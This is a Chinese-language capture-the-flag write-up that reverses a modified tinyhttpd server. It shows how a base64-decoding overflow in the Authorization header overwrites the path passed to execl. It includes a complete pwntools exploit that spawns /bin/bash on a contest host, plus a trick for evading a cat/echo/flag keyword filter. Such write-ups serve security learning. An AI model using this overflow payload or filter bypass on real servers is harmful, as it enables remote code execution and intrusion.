虽然是新生赛,但这个题个人觉得并不水,是一个挺有意思的httpd,感觉出题参考了西湖论剑里的一道题,原理也是base64解码溢出,题目的源码应该是改编自tinyhttpd这个开源项目,下面一起来逆向分析一下

首先创建一个端口,然后开启监听,每次接收到数据包就创建新的线程处理数据包,处理函数是accept_request函数。
进入accept_request函数,我们继续进行分析

前面就是在做一些检查,判断当前请求的类型,然后把请求路径拼接进去,并且判断了路径中是否存在”..”,避免了路径穿越,如果请求的是一个目录,那么会自动拼接上index.html

然后如果文件可执行,那么就进入execute_cgi这个函数里

首先检验请求是post还是get,这里必须选择post,因为GdecBase64函数是本题的漏洞关键,选择get无法走到这个函数
接着会进行一些数据格式的检验,这里逆向的结果如下
POST /rule.cgi HTTP/1.1\n\
Content-Length: 512\n\
Authorization: Basic
接着动态调试发现,v21其实就是Authorization: Basic后面的内容,然后程序会将这后面的内容进行base64解码,再将解码后的字符串和“pwner”进行比较,所以为了饶过这个检查,我们需要构造的原始字符串(没经过base64编码的字符串)长这样
Authorization: Basic\x00pwner
这里\x00是为了让匹配Authorization的时候截断字符串,所以编码一下应该是
Authorization: Basic\x00cHduZXI=
这样就可以绕过检查

接着程序开启了一个子进程,在子进程里,会执行execl这个关键函数,这个函数会执行第一个参数对应的进程并将其替换为当前进程,而漏洞点就出在这,这里的dest字符串,原本是我们请求的路径,然而,我们到ida里看一下

v18和dest是紧邻的,而v18,就是刚才base64解密后的字符串所在的位置,那么我们的思路就清晰了,一开始构造POST请求rule.cgi绕过检查,然后在Authorization中构造溢出,最终在base64解密之后,溢出到dest的位置,改变程序执行的文件(/bin/sh)从而get shell
于是最终我们构造的未经base64加密的字符串如下:
s=’pwner\x00’+’a’*250+’/bin/bash’
附上完整payload
from pwn import *
import base64
p=remote('node5.anna.nssctf.cn',29353)
def encode_base64(input_string):
# 将输入字符串编码为字节
byte_data = input_string.encode('utf-8')
# 使用base64进行编码
base64_bytes = base64.b64encode(byte_data)
# 将编码后的字节转换回字符串
base64_string = base64_bytes.decode('utf-8')
return base64_string
s='pwner\x00'+'a'*250+'/bin/bash'
a=encode_base64(s)
print(a)
p.sendline('POST /rule.cgi HTTP/1.1\n\
Content-Length: 512\n\
Authorization: Basic\x00'+a+'\n')
p.interactive()
要注意的是,程序检查了命令字符串,不能出现cat/tac/echo/flag等字符串,于是在这里我们采用将标准错误重定向到标准输出,并直接运行flag获得报错的方式获得flag

总结一下,这个题在比赛过程中没做出来,一开始一直以为是进程通讯的问题,再往资源竞争的方向考虑,后面也考虑了溢出,但一直在考虑是不是栈溢出,并否定了这种想法,没想到可以直接溢出要执行的字符串,其实看透了程序的话还是很简单的,就是代码量有点繁杂,让人看不太出来
挺好玩的题